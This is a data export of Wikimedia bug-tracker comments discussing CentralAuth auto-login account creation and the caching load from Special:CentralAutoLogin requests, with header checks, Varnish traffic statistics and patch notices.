+https://gerrit.wikimedia.org/r/84998",,,1379616502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245115,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
+> We should be autocreating the accounts, like used to happen with the old
+> AutoLogin.
+
+Actually the old code didn't autocreate the accounts either, it just set the cookies regardless of whether a local account existed or was attached. And that works fine, because it's exactly the same situation as if you log in to enwiki but some unattached account has your name on dewiki.
+
+And if we did autocreate the account we'd still have the bug where if an unattached user existed on say en.wiktionary then the SUL user wouldn't be auto-logged-in to any other wiktionaries either.
+
+So what we really need to do is not care about the local account for the icons. But we do still need to care about the scripts, or we'll re-cause bug 51603.",,,1379610357,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,True,,,-93,True,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+245112,Autocreate not running on Special:CentralAutoLogin,"Change 84998 had a related patch set uploaded by Anomie:
+Don't fail autologin for unattached accounts
+
+https://gerrit.wikimedia.org/r/84998",,,1379610316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245107,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
+> his account wasn't attached
+> on
+> commons
+
+Clarification to pre-SUL dinosaurs like me: it wasn't attached because it didn't exist at all locally. No local unattached accounts here, luckily.
+[[Special:CentralAuth/DGarry (WMF)]]",,,1379609188,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,True,,,-93,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1
+56195,CentralAuth not caching Special:CentralAutoLogin/start,"Ops pointed out that almost 60% of the apache traffic is calls to Special:CentralAutoLogin. About half of that traffic is to /start, so it looks like Special:CentralAutoLogin/start is still not cached, even though we don't disable client caching in the output page. MediaWiki is sending Cache-Control private.
+
+csteipp@linux-hv06:~> curl -Ik 'https://en.wikipedia.org/wiki/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery=' | grep Cache-Control
+Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+
+It seems like that is because OutputPage checks to see if $this->mSquidMaxage != 0, otherwise it sends out the private header. On my dev system, I added $this->getOutput()->setSquidMaxage( 3600 ), and I then get
+
+csteipp@linux-hv06:~> curl -Ik 'https://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery='
+HTTP/1.1 302 Found
+Date: Mon, 16 Sep 2013 23:32:21 GMT
+Server: Apache/2.2.22 (Linux/SUSE)
+X-Powered-By: PHP/5.3.17
+X-Content-Type-Options: nosniff
+P3P: CP=""This is not a P3P policy! See http://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/P3P for more info.""
+Vary: Accept-Encoding,Cookie
+Cache-Control: s-maxage=3600, must-revalidate, max-age=0
+Location: https://127.0.0.1/wiki_port83/pool/index.php?title=Special:CentralAutoLogin/checkLoggedIn&wikiid=dewiki83&proto=https&type=script&returnto=One&returntoquery=
+Content-Type: text/html; charset=utf-8
+
+
+Is that enough to have varnish cache these, but logged in users will always bypass the cache?
+
+--------------------------
+**Version**: master
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52206",Medium,50.0,1379374620,1430152692.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-twf7ar32smkopiuo4xx6,task_description,resolved,True,c3,1,True,True,True,-94,True,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+449675,CentralAuth not caching Special:CentralAutoLogin/start,"I don't think there are any remaining issue that are high enough priority for anyone to work on. If anyone in ops thinks different, let me know and we can plan it out.",,,1430152692,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-10,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+449308,CentralAuth not caching Special:CentralAutoLogin/start,Can this be closed or is this still a problem.,,,1430070996,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+239981,CentralAuth not caching Special:CentralAutoLogin/start,"I'll let Faidon weigh in on how much we need to setup the varnish cache for that page. But given the current load on the backend vs the potential impact (positive, and negative if we mess any part of it up), I'm not sure how high of a priority we want that. Bumping this to normal for now.",,,1390410140,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-76,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+239975,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #35 by csteipp)
+> The only remaining thing would be to (very carefully) return a cached
+> response from Varnish for loginwiki's /checkLoggedIn
+[...]
+> But I think Varnish still ignores all caching for
+> Special:CentralAutoLogin after bug 53032?
+
+All patches are in - resetting status.
+
+Chris: Is this still highest priority or is this ""only"" high now?",,,1390406345,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-76,True,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1
+239972,CentralAuth not caching Special:CentralAutoLogin/start,"The only remaining thing would be to (very carefully) return a cached response from Varnish for loginwiki's /checkLoggedIn, if the user doesn't have any loggin cookies, since we return the exact same content for all logged-out users (but unique content for logged in users).
+
+MediaWiki should be sending the correct headers-- CC:public, with a max-age of 1200 when the request came from a logged out user, or CC:private when the user is logged in. But I think Varnish still ignores all caching for Special:CentralAutoLogin after bug 53032?",,,1388427688,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-79,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+239970,CentralAuth not caching Special:CentralAutoLogin/start,"These were all deployed and the effect is nicely visualized here:
+https://ganglia.wikimedia.org/latest/stacked.php?c=Application+servers+eqiad&host_regex=&m=ap_rps&r=year&st=1388322880
+(application server requests per second) 
+
+I'm happy with seeing this bug report closed. Chris, you mentioned some other optimizations you had in mind. Are you still planning these? Are we going to track them im this bug?",,,1388323148,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-79,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0
+239967,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 merged by jenkins-bot:
+Don't redirects anons to /createSession
+
+https://gerrit.wikimedia.org/r/100508",,,1386703633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239962,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon, that is exactly what I was expecting. Just wanted to confirm.",,,1386703215,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+239957,CentralAuth not caching Special:CentralAutoLogin/start,"On a sample of 100k requests,  ""/createSession"" matched 3650 times, while ""/checkLoggedIn"" 3679 times (this is literally greps, not filtered per domain or query params). I tried 3 different such samples with similar results.",,,1386702413,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+239953,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #29)
+> > It's very odd that /createSession is more popular than /checkLoggedIn, since
+> > /checkLoggedIn redirecting to /createSession is the only way /createSession
+> > is called.
+> 
+> Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to
+> redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki,
+> /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the
+> different domains, but it looks like the stats above aren't being split that
+> way so all the /createSession?gu_id=0 are already added together. Or is
+> /createSession still more popular after doing that?
+
+Good point, I think those were only counting full urls. Faidon, could we get a list of urls without query parameters, to make sure /checkLoggedIn is being called roughly the same amount as /createSession?
+
+Brad, if you get time to review and merge gerrit 100508, I'm happy to deploy it today, so that we reduce the load as much as possible before we make any changes to how we pass the parameters.",,,1386695102,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+239948,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #27)
+> 
+> <paravoid> 
+> /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+> is
+> first
+> \x03<\x08paravoid\x08>\x08\x0f 
+> /wiki/Special:CentralAutoLogin/
+> checkLoggedIn?type=script&wikiid=enwiki&proto=http
+> is second,
+> /wiki/Special:CentralAutoLogin/
+> checkLoggedIn?type=script&wikiid=eswiki&proto=http
+> is third
+> <paravoid> on backend requests
+> 
+> It's very odd that /createSession is more popular than /checkLoggedIn, since
+> /checkLoggedIn redirecting to /createSession is the only way /createSession
+> is called.
+
+Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki, /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the different domains, but it looks like the stats above aren't being split that way so all the /createSession?gu_id=0 are already added together. Or is /createSession still more popular after doing that?
+
+
+> <paravoid> I also see on no5
+> /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/
+> createSession&gu_id=0&type=script&proto=http
+> so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work
+
+I'm not so sure, it doesn't seem like a localisation update was run after the patch was backported to wmf5. The nightly update just ran now, and now it seems to no longer be redirecting.",,,1386641835,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+239942,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 had a related patch set uploaded by CSteipp:
+Don't redirects anons to /createSession
+
+https://gerrit.wikimedia.org/r/100508",,,1386635569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239932,CentralAuth not caching Special:CentralAutoLogin/start,"I updated 1.23wmf5 (including enwiki) to include the patch that removes calls to /start for anons. After that, Faidon was looking at the logs and observed:
+
+<paravoid>  /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http is first
+\x03<\x08paravoid\x08>\x08\x0f  /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=enwiki&proto=http is second, /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=eswiki&proto=http is third
+<paravoid> on backend requests
+
+
+<paravoid>   6392.37 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+<paravoid>   6133.61 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+<paravoid>   4772.53 RxURL          /w/api.php
+<paravoid> on frontends
+
+
+<paravoid> I also see on no5 /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/createSession&gu_id=0&type=script&proto=http so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work
+
+
+It's very odd that /createSession is more popular than /checkLoggedIn, since /checkLoggedIn redirecting to /createSession is the only way /createSession is called. On another bug, Brad and I have been discussion removing the call to createSession for annons, and ending the protocol once we know they're anonymous. So we can address the symptoms, but I'm still concerned we have something weird going on causing this.",,,1386633793,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+239922,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 merged by jenkins-bot:
+Don't localize Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/98461",,,1386092099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239916,CentralAuth not caching Special:CentralAutoLogin/start,"Change 98461 had a related patch set uploaded by Anomie:
+Don't localize Special:CentralAutoLogin
+
+https://gerrit.wikimedia.org/r/98461",,,1385938512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239912,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 merged by jenkins-bot:
+Skip Special:CentralAutoLogin/start for JS anons
+
+https://gerrit.wikimedia.org/r/95609",,,1384800429,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239909,CentralAuth not caching Special:CentralAutoLogin/start,"Change 95609 had a related patch set uploaded by Anomie:
+Skip Special:CentralAutoLogin/start for JS anons
+
+https://gerrit.wikimedia.org/r/95609",,,1384527515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239905,CentralAuth not caching Special:CentralAutoLogin/start,"Unless the client lacks/blocks localStorage and cookies, it should be one pageview per client per site visited per day that is hitting /start?type=script, /checkLoggedIn?wikiid=*&proto=http(s)&type=script, and /createSession?gu_id=0&type=script&proto=http(s). There will also be extra hits coming from the login form, but those hits will include ""&return=1"" and likely returnto and returntoquery parameters.
+
+As long as each of those URLs is varied on the CentralAuth cookies, they all should be fully cacheable.
+
+We can't just not have anons hit these, though, because anons hitting them is an integral part of the SUL2 login scheme: browsers will no longer allow us to set cookies for (e.g.) wikivoyage.org on login if the user has never visited wikivoyage.org before, so when a user does visit wikivoyage.org anonymously we need to somehow check whether they're logged in centrally.
+
+/start?type=1x1 does appear on anon pageviews, but there it's wrapped in <noscript> tags so it should only be hit when the browser lacks JavaScript. /start?type=1x1&from=* appears on the pageview after login.",,,1384525432,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-85,True,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+239901,CentralAuth not caching Special:CentralAutoLogin/start,"Oh, and the for the record, the top 5 from Varnish backends, i.e. frontend misses, which filters out cacheable hotspots:
+
+  6964.24 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
+  5650.14 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
+  3943.42 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+  2417.36 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
+  1513.81 RxURL          /check
+
+(all but /check being passed through as-is to appservers)",,,1384521034,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-85,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+239897,CentralAuth not caching Special:CentralAutoLogin/start,"OK, I had another quick look, as this in combination with consistent hashing directing /wiki/Special:CentralAutoLogin/start?type=script to a single Varnish backend produced a partial outage by exhausting its resources. (this has been workarounded since with https://gerrit.wikimedia.org/r/#/c/95458/ )
+
+This is far more than just ""caching"". I'm going to report these here so we don't get lost into multiple bugs, but feel free to fork into other bugs as needed:
+
+1) From Varnish text frontends, i.e. *all* text client-side requests (hits & misses), the top 10 URLs are:
+  6895.39 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
+  5627.74 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+  3235.81 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
+  2137.83 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+  1981.98 RxURL          /w/index.php?title=MediaWiki:EnhancedCollapsibleElements.js&action=raw&ctype=text/javascript
+  1943.81 RxURL          /w/index.php?title=MediaWiki:Common.js/NormalizeCharWidth.js&action=raw&ctype=text/javascript
+  1567.70 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
+  1383.12 RxURL          /favicon.ico
+  1266.87 RxURL          /w/index.php?title=%E7%89%B9%E5%88%A5:%E4%B8%AD%E5%A4%AE%E7%AE%A1%E7%90%86%E8%87%AA%E5%8B%95%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3/star
+  1020.66 RxURL          /w/index.php?title=MediaWiki:OSM.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
+
+(also note how the first is double the requests from the third and triple the requests from fourth)
+
+and from the top-50 URLs, 10 (20%) are CentralAutoLogin URLs, namely:
+  6944.76 RxURL          /wiki/Special:CentralAutoLogin/start?type=script
+  3003.28 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=https
+  2273.40 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
+  1452.62 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=https&type=script
+   551.49 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=jawiki&proto=https&type=script
+   362.93 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=eswiki&proto=https&type=script
+   298.33 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=zhwiki&proto=http&type=script
+   293.00 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwiki&proto=http&type=script
+   289.84 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=1x1&proto=https
+   240.99 RxURL          /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=ptwiki&proto=https&type=script
+
+Moreover, these stats do not include the localized URLs that I'm seeing, such as
+http://de.wikipedia.org/w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/start&type=script
+(localized URLs for such basic functions are a bad idea, as it doesn't help us aggregate URLs counts and find outliers like the above)
+
+And, surpisingly, does not include the 1x1 URL that I see e.g. on all(?) enwiki pages as:
+<noscript><img src=""//en.wikipedia.org/w/index.php?title=Special:CentralAutoLogin/start&amp;type=1x1"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"" /></noscript></div>
+which also comes with Cache-control: private.
+
+The fact that these URLs are so popular points to far more than just editors attempting to login -- it surely includes anonymous page views and it's probably aggravated by the fact that due to caching headers, we do not make use of client-side caching. I see ext.centralauth.centralautologin.js doing such requests and that script being loaded on every anon, but it's clearly not my area of expertise.
+
+Those URLs not being cached also means these get passed through to appservers and increasing their load significantly, which the original point of this report. It's also very apparent now, though, that they're causing problems in all kinds of layers in our infrastructure (Varnish frontend/backend hit ratio is down the drain, Varnish backends were/are suffering) and possibly causing a client-side slow-down.
+
+I think we can fix the caching issues -even for redirects depending on GeoIP- but first and foremost we need to stop forcing all page views to requests all kinds of (uncacheable) CentralAutoLogin URLs in this way.",,,1384519621,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-85,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+239891,CentralAuth not caching Special:CentralAutoLogin/start,"Any updates Faidon? I'm curious to know if you found anything, so we can make sure this is as minimal load on the apaches as possible.",,,1383620743,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-87,True,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+239885,CentralAuth not caching Special:CentralAutoLogin/start,"Yes, the redirects should vary on XFP, but right now it won't have any effect, since these redirects also come with Cache-Control: private so they're not cached anyway. 
+
